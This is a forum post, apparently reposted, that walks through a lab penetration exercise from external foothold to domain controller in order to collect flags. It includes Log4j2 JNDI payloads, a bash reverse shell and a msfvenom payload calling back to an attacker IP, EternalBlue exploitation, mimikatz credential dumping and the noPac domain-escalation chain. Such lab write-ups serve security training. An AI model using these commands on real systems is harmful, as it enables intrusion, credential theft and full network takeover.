安全矩阵

用户名  找回密码
 立即注册
帖子
查看: 2336|回复: 0

记一次靶场渗透

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2022-1-2 11:52:03 | 显示全部楼层 |阅读模式
原文链接:记一次靶场渗透

外网打点首先对web进行端口扫描,发现38080端口和22端口

访问一下38080端口发现是一个error page

用Wappalyzer看一下是什么架构,但是好像没有检测出来

拿着报错去百度上发现应该是springboot

索性用goby再去扫一下,应该是spring没错,但是没有漏洞是什么操作?联想到最近出的log4j2的洞,可能他只是一个日志文件所以并没有框架


使用payload=${jndi:ldap://p9j8l8.dnslog.cn}验证一下有回显证明存在漏洞

尝试进一步利用漏洞,首先起一个ldap服务,ip为本地接收shell的ip地址
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105

抓包修改Content-Type: appllication/x-www-form-urlencoded,并执行以下payload成功回显
payload=${jndi:ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho}

执行ls -al /看一下也成功

nc开启监听端口
​​

然后使用bash命令反弹,这里需要先base64编码然后对编码后的特殊字符进行2层url转码
bash -i >& /dev/tcp/192.168.1.105/9999 0>&1抓包添加payload=${jndi:ldap:1/192.168.199.140:1389/TomcatBypass/Command/Base64/二层转码之后的字符},即可得到反弹shell

进行信息搜集发现为docker环境,这里尝试了docker逃逸失败,那么继续进行信息搜集

在根目录下找到了第一个flag,这里有一个got this,在之前端口扫描的时候看到开放了22端口,尝试使用ssh直接连接

使用xshell尝试连接

连接成功,拿到了宿主机的权限

内网渗透ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡

这里方便的话其实可以使用cs上线linux后用cs继续打,这里我就没有上线cs,使用linux的命令对10.0.1.0/24段探测存货主机
for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

ping一下是存活的

使用毒液把流量代理出来,首先开启监听
admin.exe -lport 7777

然后上传agent_linux到靶机上

​​

加权并执行
  1. chmod 777 agent_linux_x86

  2. agent_linux_x86 -rhost 192.168.1.105 -rport 7777
复制代码



连接成功

这里本来准备用毒液的代理到msf打的,后面觉得比较麻烦,就直接用kali生成的elf马上线msf了

首先生成一个32位的elf马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf

然后加权并执行
  1. <pre>chmod 777 shell.elf
  2. ./shell</pre>

  3. <div aria-label="图片 图像 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_image cke_image_nocaption cke_widget_selected" data-cke-display-name="图像" data-cke-filter="off" data-cke-widget-id="197" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false">
  4. <p class="cke_widget_element" data-cke-widget-data="%7B%22hasCaption%22%3Afalse%2C%22src%22%3A%22https%3A%2F%2Fimg-blog.csdnimg.cn%2Fimg_convert%2F6b0fd4d82bc9dd6ba18c9061c7750e74.png%22%2C%22alt%22%3A%22%E5%9B%BE%E7%89%87%22%2C%22width%22%3A%22%22%2C%22height%22%3A%22%22%2C%22lock%22%3Atrue%2C%22align%22%3A%22center%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-widget="image" style="text-align: center;"><span class="cke_image_resizer_wrapper"></span></p></div>
复制代码


kali使用exploit/multi/handler进行监听

获取到宿主机的shell

然后添加10.0.1.0/24段的路由
  1. <pre style="padding: 16px;font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 12.75px;line-height: 1.6;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;border-radius: 3px;word-break: normal;overflow-wrap: normal;white-space: pre-wrap;background-color: rgb(247, 247, 247);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.15);box-sizing: border-box;overflow: auto;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">bg</span>

  2. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">route</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">add</span> <span style="box-sizing: border-box;color: rgb(0, 0, 207);font-weight: bold;">10.0.1.0</span> <span style="box-sizing: border-box;color: rgb(0, 0, 207);font-weight: bold;">255.255.255.0</span> <span style="box-sizing: border-box;color: rgb(0, 0, 207);font-weight: bold;">1</span>
  3. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">route</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">print</span></pre>
复制代码



然后配置proxychain4.conf文件并使用socks模块

  1. search socks
  2. use auxiliary/sevrer/socks_proxy
  3. run
复制代码



我们在之前已经知道了内网主机的ip,那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描
proxychains4 nmap -sT -Pn 10.0.1.7

发现有445端口,那么对445端口进一步扫描
​​

先确定一下系统版本,使用auxiliary/scanner/smb/smb_version模块,发现是win7 sp1

看能不能利用永恒之蓝,这里使用到auxiliary/scanner/smb/smb_ms17_010模块,发现可以利用永恒之蓝

使用exploit/windows/smb/ms17_010_eternalbule模块,因为是不出网环境,这里需要用到bind_tcp载荷

run之后拿到一个system权限的meterpreter

在C:\Users\root\Desktop下拿到第二个flag

然后继续进行信息搜集,发现同样是双网卡,还存在10.0.0.0/24段的一张网卡

ipconfig /all看到dns服务器为redteam.lab应该在域内

这里ping一下redteam.lab得到域控的ip为10.0.0.12

这里不知道域控有什么洞,先上传一个mimikatz把密码抓取出来,得到Administrator/Admin12345,这里其实就可以使用域管账户ipc直接连接,但是这里抓到了一个域用户,尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击,关于漏洞的原理请移步
  1. privilege::debug
  2. sekurlsa::logonpasswords
复制代码




这里我准备使用noPac.exe直接去获取一个shell的,但是这里noPac.exe的利用条件是需要主机上有.net4.0环境,所以这里没有回显
​​
noPac.exe下载地址:https://github.com/cube0x0/noPac

本来准备一步一步的用原始的方法打的,但是powershell用不了没有回显,就写一下原始利用的步骤吧
  •         首先创建一个机器账户,可以使用 impacket 的 addcomputer.py或是powermad
            addcomputer.py是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除
  •         清除机器账户的servicePrincipalName属性
  •         将机器账户的sAMAccountName,更改为DC的机器账户名字,注意后缀不带$
  •         为机器账户请求TGT
  •         将机器账户的sAMAccountName更改为其他名字,不与步骤3重复即可
  •         通过S4U2self协议向DC请求ST
  •         进行 DCsync Attack


这里直接使用sam_the_admin.py进行攻击
proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

即可拿到DC的shell

在C:\Users\Administrator\Desktop下找到最后一个flag




回复

举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-13 05:38 , Processed in 0.028556 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表